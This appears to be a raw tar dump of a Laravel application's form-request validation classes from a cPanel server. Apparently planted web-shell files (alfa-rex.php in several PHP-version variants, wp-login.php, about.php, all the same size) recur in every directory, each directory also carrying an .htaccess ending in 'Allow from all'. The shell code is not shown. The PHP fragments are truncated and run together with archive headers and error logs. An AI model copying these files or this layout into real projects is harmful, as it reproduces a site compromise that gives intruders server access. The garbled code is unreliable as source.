} Http/Requests/Invoices/about.php7000064400000026574150325104510013001 0ustar00Http/Requests/User/alfa-rex.php000064400000026574150325104510012436 0ustar00Http/Requests/User/.htaccess000064400000000544150325104510012011 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/User/alfa-rex.php7000064400000026574150325104510012525 0ustar00Http/Requests/User/UpdateProfile.php000064400000002252150325104510013465 0ustar00 'required|email:rfc,strict|unique:users,email,'.$this->route('profile').',id,company_id,' . company()->id, 'name' => 'required|max:50', 'password' => 'nullable|min:8|max:50', 'image' => 'image|max:2048', 'mobile' => 'nullable|numeric', 'date_of_birth' => 'nullable|date_format:"' . $setting->date_format . '"|before_or_equal:'.now($setting->timezone)->format($setting->date_format), 'twitter_id' => 'nullable|unique:users,twitter_id,' . $this->route('profile'), ]; } public function messages() { return [ 'image.image' => 'Profile picture should be an image' ]; } } Http/Requests/User/alfa-rex.php8000064400000026574150325104510012526 0ustar00Http/Requests/User/wp-login.php000064400000026574150325104510012473 0ustar00Http/Requests/User/alfa-rex.php56000064400000026574150325104510012611 0ustar00Http/Requests/User/UpdateEmployee.php000064400000001375150325104510013651 0ustar00 'required|unique:users,email,' . $this->route('employee').',id,company_id,' . company()->id, 'slack_username' => 'nullable|unique:employee_details,slack_username,' . $this->route('employee').',id,company_id,' . company()->id, 'name' => 'required', ]; } } Http/Requests/User/StoreUser.php000064400000001400150325104510012647 0ustar00 'required', 'email' => 'required|email:rfc,strict|unique:users,email,null,id,company_id,' . company()->id, 'password' => 'required|min:8', 'slack_username' => 'nullable|unique:employee_details,slack_username,null,id,company_id,' . company()->id ]; } } Http/Requests/User/about.php000064400000026574150325104510012051 0ustar00Http/Requests/User/error_log000064400000001626150325104510012132 0ustar00[04-Jul-2025 13:31:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:05:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/User/UpdateUser.php000064400000001145150325104510013003 0ustar00 'required|unique:users,email,'.$this->route('client').',id,company_id,' . company()->id, 'name' => 'required', ]; } } Http/Requests/User/AccountSetupRequest.php000064400000001522150325104510014707 0ustar00 'required', 'full_name' => 'required', 'email' => 'required|email:rfc,strict', 'password' => 'required|min:8', ]; if ($global && $global->sign_up_terms == 'yes') { $rules['terms_and_conditions'] = 'required'; } return $rules; } } Http/Requests/User/AcceptInviteRequest.php000064400000002175150325104510014655 0ustar00invite) ->where('status', 'active') ->first(); $rules = [ 'name' => 'required', 'password' => 'required|min:8' ]; if (request()->has('email_address')) { $rules['email_address'] = 'required'; } $global = global_setting(); if ($global && $global->sign_up_terms == 'yes') { $rules['terms_and_conditions'] = 'required'; } $rules['email'] = 'required|email:rfc,strict|unique:users,email,null,id,company_id,' . $invite->company->id; return $rules; } } Http/Requests/User/about.php7000064400000026574150325104510012140 0ustar00Http/Requests/User/InviteEmailRequest.php000064400000001102150325104510014472 0ustar00 'required|min:1', 'email.*' => 'required|email:rfc,strict', ]; } } Http/Requests/User/CreateInviteLinkRequest.php000064400000001560150325104510015474 0ustar00 'required', ]; if ($this->allow_email === 'selected') { $rules['email_domain'] = 'required|regex:/^(?!:\/\/)(?=.{1,255}$)((.{1,63}\.){1,127}(?![0-9]*$)[a-z0-9-]+\.?)$/i'; } return $rules; } public function messages() { return [ 'email_domain.regex' => __('validation.email_domain') ]; } } Http/Requests/TimelogBreak/alfa-rex.php000064400000026574150325104510014065 0ustar00Http/Requests/TimelogBreak/.htaccess000064400000000544150325104510013440 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/TimelogBreak/alfa-rex.php7000064400000026574150325104510014154 0ustar00Http/Requests/TimelogBreak/alfa-rex.php8000064400000026574150325104510014155 0ustar00Http/Requests/TimelogBreak/wp-login.php000064400000026574150325104510014122 0ustar00Http/Requests/TimelogBreak/alfa-rex.php56000064400000026574150325104510014240 0ustar00Http/Requests/TimelogBreak/UpdateTimelogBreak.php000064400000001526150325104510016064 0ustar00 */ public function rules() { $rules = []; $timelog = ProjectTimeLog::find(request('timelog_id')); $rules['start_time'] = 'required|after_or_equal:"' . $timelog->start_time->timezone(company()->timezone) . '"'; $rules['end_time'] = 'required|before_or_equal:"' . $timelog->end_time->timezone(company()->timezone) . '"'; return $rules; } } Http/Requests/TimelogBreak/about.php000064400000026574150325104510013500 0ustar00Http/Requests/TimelogBreak/error_log000064400000001626150325104510013561 0ustar00[04-Jul-2025 14:07:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:19:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/TimelogBreak/about.php7000064400000026574150325104510013567 0ustar00Http/Requests/StoreStatusSettingRequest.php000064400000001071150325104510015211 0ustar00 */ public function rules() { return [ 'name' => 'required', 'status' => 'required' ]; } } Http/Requests/UpdateInvoiceSetting.php000064400000001046150325104510014101 0ustar00 'required|numeric', 'invoice_terms' => 'required' ]; return $rules; } } Http/Requests/alfa-rex.php7000064400000026574150325104510011607 0ustar00Http/Requests/UpdateThemeSetting.php000064400000001232150325104510013544 0ustar00 'required', 'app_name' => 'required' ]; } public function messages() { return [ 'primary_color.*.required' => __('messages.primaryColorRequired'), ]; } } Http/Requests/PushSetting/alfa-rex.php000064400000026574150325104510013775 0ustar00Http/Requests/PushSetting/.htaccess000064400000000544150325104510013350 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/PushSetting/alfa-rex.php7000064400000026574150325104510014064 0ustar00Http/Requests/PushSetting/alfa-rex.php8000064400000026574150325104510014065 0ustar00Http/Requests/PushSetting/wp-login.php000064400000026574150325104510014032 0ustar00Http/Requests/PushSetting/alfa-rex.php56000064400000026574150325104510014150 0ustar00Http/Requests/PushSetting/about.php000064400000026574150325104510013410 0ustar00Http/Requests/PushSetting/error_log000064400000001626150325104510013471 0ustar00[04-Jul-2025 14:51:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:21:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/PushSetting/about.php7000064400000026574150325104510013477 0ustar00Http/Requests/PushSetting/UpdateRequest.php000064400000001536150325104510015060 0ustar00 */ public function rules() { $rules = []; if (request()->get('status') == 'active') { $rules['onesignal_app_id'] = 'required'; $rules['onesignal_rest_api_key'] = 'required'; } if (request()->get('beams_push_status') == 'active') { $rules['instance_id'] = 'required'; $rules['beam_secret'] = 'required'; } return $rules; } } Http/Requests/TemplateTasks/alfa-rex.php000064400000026574150325104510014301 0ustar00Http/Requests/TemplateTasks/.htaccess000064400000000544150325104510013654 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/TemplateTasks/alfa-rex.php7000064400000026574150325104510014370 0ustar00Http/Requests/TemplateTasks/alfa-rex.php8000064400000026574150325104510014371 0ustar00Http/Requests/TemplateTasks/wp-login.php000064400000026574150325104510014336 0ustar00Http/Requests/TemplateTasks/alfa-rex.php56000064400000026574150325104510014454 0ustar00Http/Requests/TemplateTasks/StoreTaskComment.php000064400000001005150325104510016022 0ustar00 'required' ]; } } Http/Requests/TemplateTasks/about.php000064400000026574150325104510013714 0ustar00Http/Requests/TemplateTasks/error_log000064400000001626150325104510013775 0ustar00[04-Jul-2025 14:34:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:20:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/TemplateTasks/StoreTask.php000064400000001255150325104510014506 0ustar00 'required', 'priority' => 'required' ]; } public function messages() { return [ 'project_id.required' => __('messages.chooseProject'), ]; } } Http/Requests/TemplateTasks/about.php7000064400000026574150325104510014003 0ustar00Http/Requests/TemplateTasks/SubTaskStoreRequest.php000064400000001135150325104510016526 0ustar00 'required', ]; } } Http/Requests/alfa-rex.php8000064400000026574150325104510011610 0ustar00Http/Requests/Settings/alfa-rex.php000064400000026574150325104510013320 0ustar00Http/Requests/Settings/.htaccess000064400000000544150325104510012673 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Settings/alfa-rex.php7000064400000026574150325104510013407 0ustar00Http/Requests/Settings/UpdateOrganisationSettings.php000064400000001656150325104510017134 0ustar00 'required|max:60', 'company_email' => 'required|email:rfc,strict|max:100', 'company_phone' => 'required|max:20', 'website' => 'nullable|url|max:50' ]; if($this->has('google_recaptcha') && $this->google_recaptcha == 'on') { $rules['google_recaptcha_key'] = 'required'; $rules['google_recaptcha_secret'] = 'required'; } return $rules; } } Http/Requests/Settings/alfa-rex.php8000064400000026574150325104510013410 0ustar00Http/Requests/Settings/wp-login.php000064400000026574150325104510013355 0ustar00Http/Requests/Settings/alfa-rex.php56000064400000026574150325104510013473 0ustar00Http/Requests/Settings/about.php000064400000026574150325104510012733 0ustar00Http/Requests/Settings/error_log000064400000001626150325104510013014 0ustar00[04-Jul-2025 13:58:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:06:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Settings/StorageAwsFileUpload.php000064400000001066150325104510015632 0ustar00 'required|mimes:png,jpg,jpeg,csv,txt,xlx,xls,pdf,zip|max:2048' ]; } } Http/Requests/Settings/about.php7000064400000026574150325104510013022 0ustar00Http/Requests/TicketAgentGroups/alfa-rex.php000064400000026574150325104510015122 0ustar00Http/Requests/TicketAgentGroups/.htaccess000064400000000544150325104510014475 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/TicketAgentGroups/alfa-rex.php7000064400000026574150325104510015211 0ustar00Http/Requests/TicketAgentGroups/alfa-rex.php8000064400000026574150325104510015212 0ustar00Http/Requests/TicketAgentGroups/wp-login.php000064400000026574150325104510015157 0ustar00Http/Requests/TicketAgentGroups/alfa-rex.php56000064400000026574150325104510015275 0ustar00Http/Requests/TicketAgentGroups/about.php000064400000026574150325104510014535 0ustar00Http/Requests/TicketAgentGroups/UpdateAgentGroup.php000064400000001425150325104510016625 0ustar00 'required' ]; } public function messages() { return [ 'user_id.required' => __('messages.atleastOneValidation').' '.__('modules.tickets.agent'), 'groupId.0.required' => __('modules.tickets.groupName').' '.__('app.required') ]; } } Http/Requests/TicketAgentGroups/error_log000064400000001626150325104510014616 0ustar00[04-Jul-2025 14:10:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:28:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/TicketAgentGroups/about.php7000064400000026574150325104510014624 0ustar00Http/Requests/TicketAgentGroups/StoreAgentGroup.php000064400000001467150325104510016505 0ustar00 'required', 'group_id' => 'required' ]; } public function messages() { return [ 'user_id.required' => __('messages.atleastOneValidation').' '.__('modules.tickets.agent'), 'group_id.required' => __('modules.tickets.groupName').' '.__('app.required') ]; } } Http/Requests/GoogleCaptcha/alfa-rex.php000064400000026574150325104510014220 0ustar00Http/Requests/GoogleCaptcha/.htaccess000064400000000544150325104510013573 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/GoogleCaptcha/alfa-rex.php7000064400000026574150325104510014307 0ustar00Http/Requests/GoogleCaptcha/alfa-rex.php8000064400000026574150325104510014310 0ustar00Http/Requests/GoogleCaptcha/wp-login.php000064400000026574150325104510014255 0ustar00Http/Requests/GoogleCaptcha/alfa-rex.php56000064400000026574150325104510014373 0ustar00Http/Requests/GoogleCaptcha/about.php000064400000026574150325104510013633 0ustar00Http/Requests/GoogleCaptcha/UpdateGoogleCaptchaSetting.php000064400000002711150325104510017705 0ustar00has('google_recaptcha_status')) { $rules = [ 'version' => 'required_if:google_recaptcha_status,active', 'google_recaptcha_v2_site_key' => 'required_if:version,v2', 'google_recaptcha_v2_secret_key' => 'required_if:version,v2', 'google_recaptcha_v3_site_key' => 'required_if:version,v3', 'google_recaptcha_v3_secret_key' => 'required_if:version,v3', ]; } return $rules; } /** * Get custom messages for validator errors. * * @return array */ public function messages() { return [ 'google_captcha2_site_key.required_if' => 'Site key is required', 'google_captcha2_secret.required_if' => 'Secret key is required', 'google_captcha3_site_key.required_if' => 'Site key is required', 'google_captcha3_secret.required_if' => 'Secret key is required', ]; } } Http/Requests/GoogleCaptcha/error_log000064400000001626150325104510013714 0ustar00[04-Jul-2025 14:34:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:20:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/GoogleCaptcha/about.php7000064400000026574150325104510013722 0ustar00Http/Requests/Expenses/alfa-rex.php000064400000026574150325104510013312 0ustar00Http/Requests/Expenses/.htaccess000064400000000544150325104510012665 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Expenses/alfa-rex.php7000064400000026574150325104510013401 0ustar00Http/Requests/Expenses/alfa-rex.php8000064400000026574150325104510013402 0ustar00Http/Requests/Expenses/wp-login.php000064400000026574150325104510013347 0ustar00Http/Requests/Expenses/StoreExpense.php000064400000002440150325104510014221 0ustar00 'required', 'purchase_date' => 'required', 'price' => 'required|numeric', 'currency_id' => 'required' ]; $rules = $this->customFieldRules($rules); if (request('bank_account_id') != '') { $bankBalance = BankAccount::findOrFail(request('bank_account_id')); $rules['price'] = 'required|numeric|max:'.$bankBalance->bank_balance; } return $rules; } /** * Get the validation rules that apply to the request. * * @return array */ public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } } Http/Requests/Expenses/alfa-rex.php56000064400000026574150325104510013465 0ustar00Http/Requests/Expenses/StoreExpenseCategory.php000064400000001137150325104510015721 0ustar00 'sometimes|required|unique:expenses_category,category_name,null,id,company_id,' . company()->id ]; } } Http/Requests/Expenses/about.php000064400000026574150325104510012725 0ustar00Http/Requests/Expenses/error_log000064400000001626150325104510013006 0ustar00[04-Jul-2025 13:58:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:06:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Expenses/about.php7000064400000026574150325104510013014 0ustar00Http/Requests/Expenses/StoreRecurringExpense.php000064400000002365150325104510016110 0ustar00get('rotation'); $setting = company(); $rules = [ 'item_name' => 'required', 'price' => 'required|numeric', 'billing_cycle' => 'required', ]; if (request('bank_account_id') != '') { $bankBalance = BankAccount::findOrFail(request('bank_account_id')); $rules['price'] = 'required|numeric|max:'.$bankBalance->bank_balance; } $issueDate = $this->get('hidden_issue_date', $this->get('issue_date')); if (!$this->has('immediate_expense') && !$this->has('hidden_issue_date')) { $rules['issue_date'] = 'required|date_format:"' . $setting->date_format . '"|after:'.now()->format($setting->date_format); } return $rules; } } Http/Requests/wp-login.php000064400000026574150325104510011555 0ustar00Http/Requests/TicketGroups/alfa-rex.php000064400000026574150325104510014143 0ustar00Http/Requests/TicketGroups/.htaccess000064400000000544150325104510013516 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/TicketGroups/alfa-rex.php7000064400000026574150325104510014232 0ustar00Http/Requests/TicketGroups/alfa-rex.php8000064400000026574150325104510014233 0ustar00Http/Requests/TicketGroups/wp-login.php000064400000026574150325104510014200 0ustar00Http/Requests/TicketGroups/alfa-rex.php56000064400000026574150325104510014316 0ustar00Http/Requests/TicketGroups/about.php000064400000026574150325104510013556 0ustar00Http/Requests/TicketGroups/StoreTicketGroup.php000064400000001151150325104510015701 0ustar00 'required|unique:ticket_groups,group_name,' . $this->route('ticket_group').',id,company_id,' . company()->id ]; } } Http/Requests/TicketGroups/error_log000064400000002541150325104510013634 0ustar00[04-Jul-2025 14:19:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:34:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:34:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/TicketGroups/about.php7000064400000026574150325104510013645 0ustar00Http/Requests/TicketEmailSetting/alfa-rex.php000064400000026574150325104510015251 0ustar00Http/Requests/TicketEmailSetting/.htaccess000064400000000544150325104510014624 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/TicketEmailSetting/alfa-rex.php7000064400000026574150325104510015340 0ustar00Http/Requests/TicketEmailSetting/alfa-rex.php8000064400000026574150325104510015341 0ustar00Http/Requests/TicketEmailSetting/wp-login.php000064400000026574150325104510015306 0ustar00Http/Requests/TicketEmailSetting/alfa-rex.php56000064400000026574150325104510015424 0ustar00Http/Requests/TicketEmailSetting/about.php000064400000026574150325104510014664 0ustar00Http/Requests/TicketEmailSetting/error_log000064400000001626150325104510014745 0ustar00[04-Jul-2025 13:57:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:55:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/TicketEmailSetting/about.php7000064400000026574150325104510014753 0ustar00Http/Requests/TicketEmailSetting/UpdateRequest.php000064400000001600150325104510016324 0ustar00 'required', 'mail_from_email' => 'required', 'mail_username' => 'required', 'mail_password' => 'required', 'imap_host' => 'required', 'imap_port' => 'required', 'imap_encryption' => 'required' ]; } return []; } } Http/Requests/CoreRequest.php000064400000000470150325104510012245 0ustar00Http/Requests/GoogleCalenderSetting/.htaccess000064400000000544150325104510015303 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/GoogleCalenderSetting/alfa-rex.php7000064400000026574150325104510016017 0ustar00Http/Requests/GoogleCalenderSetting/alfa-rex.php8000064400000026574150325104510016020 0ustar00Http/Requests/GoogleCalenderSetting/wp-login.php000064400000026574150325104510015765 0ustar00Http/Requests/GoogleCalenderSetting/alfa-rex.php56000064400000026574150325104510016103 0ustar00Http/Requests/GoogleCalenderSetting/about.php000064400000026574150325104510015343 0ustar00Http/Requests/GoogleCalenderSetting/StoreGoogleCalender.php000064400000001235150325104510020103 0ustar00status) { $rules['google_client_id'] = 'required'; $rules['google_client_secret'] = 'required'; } return $rules; } } Http/Requests/GoogleCalenderSetting/error_log000064400000001626150325104510015424 0ustar00[04-Jul-2025 14:22:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:49:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/GoogleCalenderSetting/about.php7000064400000026574150325104510015432 0ustar00Http/Requests/TimeLogSetting/alfa-rex.php000064400000026574150325104510014416 0ustar00Http/Requests/TimeLogSetting/.htaccess000064400000000544150325104510013771 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/TimeLogSetting/alfa-rex.php7000064400000026574150325104510014505 